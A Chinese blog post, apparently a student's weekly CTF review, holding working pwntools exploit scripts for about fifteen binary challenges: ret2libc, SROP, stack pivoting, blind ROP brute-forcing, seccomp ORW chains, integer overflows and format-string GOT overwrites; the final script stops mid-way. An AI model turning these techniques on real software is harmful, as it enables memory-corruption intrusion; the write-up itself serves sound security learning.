周报（校赛复盘与学长题目的复现）

已于 2024-04-20 23:30:06 修改
阅读量1k 收藏 10
点赞数 30
文章标签： python linux ubuntu
于 2024-04-20 23:12:22 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_79525044/article/details/137914535
版权

 ___stack_chk_fail

22a9ad6e458b476cb7e10af13c64a4ac.png

给出了可以修改任意地址八字节的函数

15c762c5146943d899becbc837653a01.png

存在栈溢出

可以将 ___stack_chk_fail改为ret，直接绕过canary，进行ret2libc。

exp

from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('___stack_chk_fail')
#io=remote('node4.anna.nssctf.cn',28486)
elf=ELF('___stack_chk_fail')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
ret=0x40101a
rdi=0x401363
main=0x40127a
gdb.attach(io)
pause()

io.sendlineafter(b'addr?\n', str(0x404020))
io.sendafter(b'value?\n', p64(ret))

payload1=b'a'*(0x18)+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
io.sendline(payload1)
read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)

io.interactive()

pthread

通过栈溢出修改canary的值来绕过canary。

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io=gdb.debug('./pthread', 'b vuln')
io=process('./pthread')
elf=ELF('./pthread')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

io.sendafter(b'name?\n', b'a')

payload=p64(0)*5+p64(0x1234)+p64(0)+p64(0x4012b0) 
payload=payload.ljust(0x848,b'\x00')+p64(0x1234)

io.sendlineafter(b'>>\n', payload)

io.interactive()

以上方法由于保护机制不同要在ubuntu18的环境下操作。

pie

351cad69494a4bdea0aa4ef5e0ddd14b.png

栈溢出一个字节将返回地址改为backdoor的地址。

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io=process('./pie')
elf=ELF('./pie')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

io.recv()
payload=b'a'*(0x10)+p8(0x43)
io.send(payload)
io.interactive()

pie_two

688fea250dc24dc7b127c67cb5332a37.png

15f77725c9db4ebea49f931eb07ae3ca.png

栈溢出修改ret最后一字节返回到put函数，打印出 funlockfile函数地址，获得libcbase。

再构造ROP链获得shell。

exp

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')

io=process('./pie_two')
elf=ELF('./pie_two')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(io)
pause()
io.recv()
payload=b'a'*(0x10)+p8(0x57)
io.send(payload)
base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['funlockfile']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))

rdi=base+0x2a3e5
ret=base+0x29cd6
payload1=b'a'*(0x10)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.send(payload1)

io.interactive()

 Stack_migration

558ff2b6964440bdb400ad12d6969f2f.png

由于栈溢出长度不够，栈迁移到bss段构造rop链，由于直接构造时esp没有可写与可执行权限，所以利用大量垃圾数据使esp抬到可执行的地址。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./Stack_migration')
elf = ELF('./Stack_migration')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rdi=0x401323
ret=0x40101a
leave=0x401275
name=0x4040A0
sh=name

payload=b'/bin/sh\x00'.ljust(0x800,b'\x00')+p64(rdi)+p64(sh)+ p64(elf.sym['system'])

sa(b'name?\n',payload)

sa(b'>>',b'a'*8+p64(name+0x800-8)+p64(leave))

inter()

srop

0dc9590ead784117a9d00047a5e47936.png

该题使用srop的方法解决。

先通过写入/bin/sh，再通过write的输出获得/bin/sh的地址。

返回vuln函数。 构造sigfram结构体，获得shell。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./srop')
elf = ELF('./srop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rax_syscall=0x4011ed
syscall=0x4011da
s(b'a'*0x10+p64(elf.sym['vuln']))
stack=l64()
sh=stack-0x20

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = sh
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

s(b'/bin/sh\x00'+b'a'*8+p64(rax_syscall)+p64(0xf)+flat(sigframe))

lg('stack', stack)
inter()

brop

通过爆破依次找到 buf+size，stop_gadget，pop6ret,puts_plt。

但是好难，根本不会。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='amd64', log_level='debug')
p = process('./brop')
elf = ELF('./brop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def find_stop_gadget(buf_size, start_addr = 0x400000, end_addr = 0x401000):
    stop_gadget = start_addr
    while True:
        time.sleep(0.1)
        stop_gadget += 1
        if(stop_gadget > end_addr):
        	log.info('not found!')
        	return 0
        payload = b'a' * buf_size + p64(stop_gadget)
        try: 
            p = process('./brop')
            p.sendafter(b'>>\n', payload)
            p.recv()
            p.close()
            return stop_gadget
        except EOFError as e:
            p.close()
            log.info("not 0x%x, try harder!", stop_gadget)
def get_stop_gadget():
	for i in range(0x18, 0x100, 8):
		rl = find_stop_gadget(i, 0x400560)
		if(rl):
			log.info("find one stop gadget: 0x%x", rl)
			break

def find_pop6_ret(buf_size, stop_gadget, start_addr = 0x400000, end_addr = 0x401000):
    pop6_ret = start_addr
    stop_gadget = stop_gadget

    while True:
        time.sleep(0.1)
        pop6_ret += 1
        if(pop6_ret > end_addr):
        	log.info('not found')
        	return 0
        payload = b'a' * buf_size + p64(pop6_ret) + p64(0) * 6 + p64(stop_gadget) 
        try:
            p = process('./brop')
            p.sendafter('>>\n', payload)
            resp = p.recv(timeout=0.5)
            p.close()
            log.info("find one stop_gadget: 0x%x", pop6_ret)

            if b'>>' in resp:
                try:
                    payload = b'a' * buf_size + p64(pop6_ret)
                    p = process('./brop')
                    p.sendafter('>>\n', payload)
                    p.recv()
                    p.close()
                except EOFError as e:
                    p.close()
                    log.info("find useful gadget: 0x%x", pop6_ret)
                    return pop6_ret
        except EOFError as e:
            p.close()
            log.info("not 0x%x,try harder", pop6_ret)

stop_gadget=0x400570
pop6_ret=0x40075a
rdi=pop6_ret+9
ret=pop6_ret+0xa

def find_puts_plt(buf_size, stop_gadget, start_addr = 0x400000, end_addr = 0x401000):
    elf_magic_addr = 0x400000
    puts_plt = start_addr

    while True:
        puts_plt += 1
        payload = b'a' * buf_size + p64(rdi) + p64(elf_magic_addr) + p64(puts_plt) + p64(stop_gadget)

        try:
            p = process('./brop')
            p.sendafter(b'>>\n', payload)
            resp1 = p.recvline(timeout=0.5)
            resp2 = p.recvline(timeout=0.5)

            if b'\x7fELF' in resp1 and b'>>\n' in resp2:
                p.close()
                log.info("puts_plt: 0x%x", puts_plt)
                return puts_plt
            p.close()
            log.info("find one stop gadget: 0x%x", puts_plt)

        except EOFError as e:
            p.close()
            log.info("not 0x%x, try harder", puts_plt)



puts_plt=0x400515

def dump_memory(buf_size, stop_gadget, puts_plt, start_addr=0x400000, end_addr = 0x401000):
    result = b''
    while start_addr < end_addr:
        sleep(0.1)
        payload = b'a' * buf_size + p64(rdi) + p64(start_addr) + p64(puts_plt)
        try:
            p = process('./brop')
            p.sendafter(b'>>\n', payload)
            resp1 = p.recv(timeout=0.5)
            if resp1 == b'\n':
                resp = b'\x00'
            elif resp1[-1:] == b'\n':
                log.info("[tail]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
                resp = resp1[:-1] + b'\x00'
            else:
                resp = resp1
            
            if resp != resp1:
                log.info("[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % (start_addr, (resp1 or b'').hex(), start_addr, (resp or b'').hex()))

            log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
            result += resp
            start_addr += len(resp)
            p.close()
        except Exception as e:
            print(e)
            log.info("connect error")
    with open('pwn','wb') as f:
   		f.write(result)



p = process('./brop')
sa(b'>>\n', b'a'*0x18 + p64(rdi) + p64(0x601018) + p64(puts_plt) + p64(stop_gadget))
libc_base = l64() - libc.sym['puts']

lg('libc_base', libc_base)

ret = pop6_ret + 0xa
system, binsh = get_sb()

sa(b'>>\n', b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system))
inter()

close

eaf4415b72334716b4e9d0fa84857acc.png

直接给出了shell，但关闭了标准输出，我们需要重定向标准输出。

08dcd714a39a40309c24c820177fde41.png

ret2shellcode_orw

2af2047347eb45e9a9d42f7f576ecfe9.png

给出了buf的地址，关闭了NX保护，存在栈溢出，但是开启了沙盒，需要使用orw

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./ret2shellcode_orw')
elf = ELF('./ret2shellcode_orw')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rl('gift : ')
stack = int(p.recv(14), 16)

#debug('b *0x4012db')

sa(b'>>\n', b'a'*0x10 + p64(stack + 0x18) + asm(shellcraft.cat('/flag')))

lg('stack', stack)

inter()

ret2libc_orw

20748d2b201545c296a9c048c0682a59.png

存在栈溢出，开启了沙盒与NX保护。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./ret2libc_orw')
elf = ELF('./ret2libc_orw')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x401333
ret = 0x40101a

#debug('b *0x4012a0')

sa(b'>>\n', b'a'*0x10 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['vuln']))

libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()

rax = libc_base + 0x45eb0
syscall = libc_base + next(libc.search(asm('syscall; ret;')))
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
buf = 0x4040D0
flag = 0x4040a0

payload = b'a'*0x10
# read flag -> buf
payload += p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx_r12) + p64(8)*2 + p64(read)
# open flag
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(open_)
# read flag
payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read)
# write flag
payload += p64(rdi) + p64(1) + p64(write)

sa(b'>>\n', payload)

sleep(1)
s(b'/flag')

#pause()
inter()

one_gadget

bb1f4e4d8a9d4e1eb28febfade8ce14e.png

直接给出了puts的真实地址可以获得base。

随后可以向buf的地址改为其他函数的地址，接下来再在buf中写入onegadget。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./one_gadget')
elf = ELF('./one_gadget')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rl(b'gitf is ')
puts=int(r(14),16)
base=puts-libc.sym['puts']
one_gadget=base+0xebcf8

sla(b'addr?\n', str(elf.got['exit']))
sa(b'value?\n', p64(one_gadget))
inter()

Integer_Overflow

03ce53759792450cb8b68f59e4228023.png

存在整数溢出漏洞。

第一个输入点除输入-1.造成栈溢出

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./Integer_Overflow')
elf = ELF('./Integer_Overflow')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rdi = 0x401303
ret = 0x40101a

sla(b'size?\n', str(-1))
payload=b'a'*0x10 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['vuln'])
sa(b'>>\n', payload)

libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()

sla(b'size?\n', str(-1))
payload=b'a'*0x10 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sa(b'>>\n', payload)

lg('libc_base', libc_base)

inter()

Integer_Overflow_two

206e26da186049e9b306849451d9cdbb.png

也是整数溢出，但是这道题是通过回绕早成的。

8*num可以造成回绕

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./Integer_Overflow_two')
elf = ELF('./Integer_Overflow_two')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rdi = 0x4013f3
ret = 0x40101a

sla(b'size?\n',str(0x20000010))
def ct(idx, data):
	sla(b'idx?\n', str(idx))
	sa(b'value?\n', data)

ct(23, p64(rdi))
ct(24, p64(elf.got['puts']))
ct(25, p64(elf.sym['puts']))
ct(26, p64(elf.sym['vuln']))
for i in range(6):
	ct(0, p64(0))

libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()

sla(b'size?\n', str(0x20000010))
ct(23, p64(ret))
ct(24, p64(rdi))
ct(25, p64(binsh))
ct(26, p64(system))
for i in range(6):
	ct(0, p64(0))


inter()

Format_String_Read_Anywhere_one

8cb942dab7d24242b491532e0c635a7c.png

存在格式化字符串漏洞，将flag读入4040A0，利用%s将其读出。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./Format_String_Read_Anywhere_one')
elf = ELF('./Format_String_Read_Anywhere_one')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

flag=0x4040A0
payload=b'%9$saaaa'+p64(0x4040A0)
sa(b'>>\n',payload)


inter()

Format_String_Read_Anywhere_two 

cc311e0f65194337a37b708c1ed8ea5e.png

通过%p泄露存放在栈上的flag，再将输出的数据转换为字符。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./Format_String_Read_Anywhere_two')
elf = ELF('./Format_String_Read_Anywhere_two')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sa(b'>>\n', b'%8$p.%9$p.')
a = rl(b'.')[2:-1][::-1]
b = rl(b'.')[2:-1][::-1]
flag = ''
for i in range(0, len(a), 2):
	c = a[i:i+2][::-1]
	flag += chr(int(c, 16))
for i in range(0, len(b), 2):
	c = b[i:i+2][::-1]
	flag += chr(int(c, 16))
	
print(flag)


inter()

fmt

3020053e523e4a558e4cdfb9f02ce513.png

存在格式化字符串漏洞。通过格式化字符串泄露canary和libcbase。在栈溢出处修改ret为onegadget。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt')
elf = ELF('./fmt')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


sa(b'name?\n', b'%7$p%3$p')
rl(b'Hello ')
canary = int16(r(18))
libc_base = int16(r(14)) - libc.sym['write'] - 23
one_gadget = libc_base + 0xebcf1
buf = libc_base + 0x21a440

sa(b'>>\n', b'a'*8 + p64(canary) + p64(buf + 0x70) + p64(one_gadget))

lg('canary', canary)
lg('libc_base', libc_base)
#pause()

inter()

fmt_stack

aaecf08477d14e94a6e266adec6f9c77.png

存在格式化字符串漏洞，且无限循环，将printf函数改为system函数即可。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack')
elf = ELF('./fmt_stack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


sa(b'>>\n', b'%1$p%3$p%38$p')
stack = int16(r(14))
libc_base = int16(r(14)) - libc.sym['read'] - 0x12
pro_base = int16(r(14)) - elf.sym['main']
system, binsh = get_sb()
printf_got = pro_base + elf.got['printf']

payload = fmtstr_payload(6, {printf_got:system})
sa(b'>>\n', payload)


inter()

fmt_stack2

6a9080669f7648a29e8fd05ef39ce9a0.png

由于循环只能进行两次，所以我们先泄露libcbase和stack，然后修改i的值，由于onegadget都不满足要求，所以改为ROP链。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack2')
elf = ELF('./fmt_stack2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


sa(b'>>\n', b'%1$p%3$p')
stack=int16(r(14))
